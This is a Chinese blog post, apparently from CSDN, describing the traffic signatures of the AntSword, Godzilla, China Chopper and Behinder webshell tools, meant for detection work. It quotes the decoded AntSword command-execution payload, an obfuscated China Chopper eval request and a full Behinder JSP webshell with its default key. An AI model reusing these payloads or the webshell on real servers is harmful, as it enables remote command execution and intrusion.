蚁剑、哥斯拉、菜刀、冰蝎(3.0/4.0)流量特征

目录

蚁剑流量特征:

哥斯拉流量特征:

菜刀流量特征:

冰蝎流量特征(3.0):

冰蝎流量特征(4.0):

环境搭建:

采用php一句话进行测试,可以用bp设置代理进行抓包查看,或使用wireshark进行过滤抓包逐步解析。

蚁剑流量特征:

蚁剑流量特征是php base64加密,最明显的特征就是明文中会有@ini_set()这个函数,也会有eval,加密后的数据包里大多是 _0x开头,payload进行分段然后用base64加密

base64

首先UA头直接显示了蚁剑

Y21k经过base64解密后 == cmd 

Y2QgL2QgIkM6L3BocFN0dWR5L1dXVy9kdi9oYWNrYWJsZS91cGxvYWRzIiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0
解密后
== cd /d "C:/phpStudy/WWW/dv/hackable/uploads"&whoami&echo [S]&cd&echo [E]

一般显示为_0x ,_0x后面的内容解密后

有@ini_set()函数的为强特征,

@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "4e2b1";echo @asenc($output);echo "927ea";}ob_start();try{$p=base64_decode($_POST["0x93f13b8c595e2"]);$s=base64_decode($_POST["0x9fc43ce2a2bb8"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 

最后的有危险函数eval

noc=%40eval(%40base64_decode(%24_POST%5B_0x6ce405e4face9%5D))%3B 


chr类型编码

前两部分和base64的编码相同,主要为noc=后面的内容是chr加密编码,编码下的数据会先将代码的每一个字符进行ASCII的编码通过chr函数返回字符然后eval执行

在首部直接告知了eval关键字用eval来执行


 chr16(也就是chr里面是16进制编码)

与chr相同


rot13

 最后部分解码后

@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);shapgvba nfrap($bhg){erghea $bhg;};shapgvba nfbhgchg(){$bhgchg=bo_trg_pbagragf();bo_raq_pyrna();rpub "285n7";rpub @nfrap($bhgchg);rpub "8199p";}bo_fgneg();gel{$c=onfr64_qrpbqr($_CBFG["0k3720845so558p"]);$f=onfr64_qrpbqr($_CBFG["0krs2371n9p2s45"]);$q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);$p=fhofge($q,0,1)=="/"?"-p \"{$f}\"":"/p \"{$f}\"";$e="{$c} {$p}";shapgvba sr($s){$q=rkcybqr(",",@vav_trg("qvfnoyr_shapgvbaf"));vs(rzcgl($q)){$q=neenl();}ryfr{$q=neenl_znc('gevz',neenl_znc('fgegbybjre',$q));}erghea(shapgvba_rkvfgf($s)&&vf_pnyynoyr($s)&&!va_neenl($s,$q));};shapgvba ehafuryyfubpx($q, $p) {vs (fhofge($q, 0, 1) == "/" && sr('chgrai') && (sr('reebe_ybt') || sr('znvy'))) {vs (fgefge(ernqyvax("/ova/fu"), "onfu") != SNYFR) {$gzc = grzcanz(flf_trg_grzc_qve(), 'nf');chgrai("CUC_YBY=() { k; }; $p >$gzc 2>&1");vs (sr('reebe_ybt')) {reebe_ybt("n", 1);} ryfr {znvy("n@127.0.0.1", "", "", "-oi");}} ryfr {erghea Snyfr;}$bhgchg = @svyr_trg_pbagragf($gzc);@hayvax($gzc);vs ($bhgchg != "") {cevag($bhgchg);erghea Gehr;}}erghea Snyfr;};shapgvba ehapzq($p){$erg=0;$q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);vs(sr('flfgrz')){@flfgrz($p,$erg);}ryfrvs(sr('cnffgueh')){@cnffgueh($p,$erg);}ryfrvs(sr('furyy_rkrp')){cevag(@furyy_rkrp($p));}ryfrvs(sr('rkrp')){@rkrp($p,$b,$erg);cevag(wbva("
",$b));}ryfrvs(sr('cbcra')){$sc=@cbcra($p,'e');juvyr(!@srbs($sc)){cevag(@strgf($sc,2048));}@cpybfr($sc);}ryfrvs(sr('cebp_bcra')){$c = @cebp_bcra($p, neenl(1 => neenl('cvcr', 'j'), 2 => neenl('cvcr', 'j')), $vb);juvyr(!@srbs($vb[1])){cevag(@strgf($vb[1],2048));}juvyr(!@srbs($vb[2])){cevag(@strgf($vb[2],2048));}@spybfr($vb[1]);@spybfr($vb[2]);@cebp_pybfr($c);}ryfrvs(sr('nagflfgrz')){@nagflfgrz($p);}ryfrvs(ehafuryyfubpx($q, $p)) {erghea $erg;}ryfrvs(fhofge($q,0,1)!="/" && @pynff_rkvfgf("PBZ")){$j=arj PBZ('JFpevcg.furyy');$r=$j->rkrp($p);$erg=$r->FgqBhg()->ErnqNyy();$erg.=$r->FgqRee()->ErnqNyy();cevag($erg);}ryfr{$erg = 127;}erghea $erg;};$erg=@ehapzq($e." 2>&1");cevag ($erg!=0)?"erg={$erg}":"";;}pngpu(Rkprcgvba $r){rpub "REEBE://".$r->trgZrffntr();};nfbhgchg();qvr();&noc=@eval(@str_rot13($_POST[_0x7de6c9b4c9061]));

测试流量中的数据包都是采用@ini_set函数开头,在base64数据包中它是QGluaV9zZXQ,在chr编码数据包中是cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116),在rot13编码数据包中是@vav_frg并且编码后的数据包中都存在eval这个敏感函数。

哥斯拉流量特征:

此处:编码utf-8、加密器ASP_EVAL_BASE64

强特征:cookie值最后有一个分号Cookie: PHPSESSID=iocrpclbbt8mpg4i11j5ocohu0;

弱特征:user-agent如果不修改的话会返回使用的jdk信息,Java/1.8.0_121(具体什么版本取决于JDK环境版本)

弱特征:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

相应包中的数据前16位是md5+base64编码后16位是md5

首当其冲eval

菜刀流量特征:

由于菜刀没有代理所以此处用wireshark进行抓包

强特征:直接eval,明文后base64加密,请求包中会有eval、assert这种base64特征的字符

请求体中传递的payload为base64编码,并且存在固定的:QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

存在固定的QGluaV9zZXQ

noc=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JG09Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKTskcD0nY21kJzskcz0nY2QgL2QgQzpcXHBocFN0dWR5XFxXV1dcXGR2XFxoYWNrYWJsZVxcdXBsb2Fkc1xcJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXSc7JGQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOyRjPXN1YnN0cigkZCwwLDEpPT0iLyI%2FIi1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiOyRyPSJ7JHB9IHskY30iOyRhcnJheT1hcnJheShhcnJheSgicGlwZSIsInIiKSxhcnJheSgicGlwZSIsInciKSxhcnJheSgicGlwZSIsInciKSk7JGZwPXByb2Nfb3Blbigkci4iIDI%2BJjEiLCRhcnJheSwkcGlwZXMpOyRyZXQ9c3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pO3Byb2NfY2xvc2UoJGZwKTtwcmludCAkcmV0OztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"));HTTP/1.1 200

冰蝎流量特征(3.0):

内置16个UA头,取消动态密钥获取,目前很多waf等设备都做了冰蝎2.0的流量特征分析。所以3.0取消了动态密钥获取;界面由swt改为javafx;aes密钥变为md5("pass")[0:16]

请求包中content-length 为5740或5720(可能会根据Java版本而改变)
每一个请求头中存在
Pragma: no-cache,Cache-Co

ntrol: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.9
出处:https://blog.csdn.net/qq_53577336/article/details/125048353

在shell.jsp中e45e329feb5d925b为rebeyond

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>

冰蝎流量特征(4.0):

冰蝎4.0建立时候java也会与主机建立tcp连接,端口在49700左右每次连接就逐一叠加,冰蝎4.0他是内置了10个user-agent,每次连接shell都会换一个进行使用连接,他有固定的请求头和响应头,并且默认时候冰蝎webshell都有一串密钥,这个密钥是连接密码32位md5值的前16位,默认连接密码是rebeyond。

(蓝响应红请求)

特征:Accept: application/json, text/javascript, */*; q=0.01

浏览器可接受任何文件,但最倾向application/json 和 text/javascript

弱特征:Content-type: Application/x-www-form-urlencoded

长连接:冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection

  • 6
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值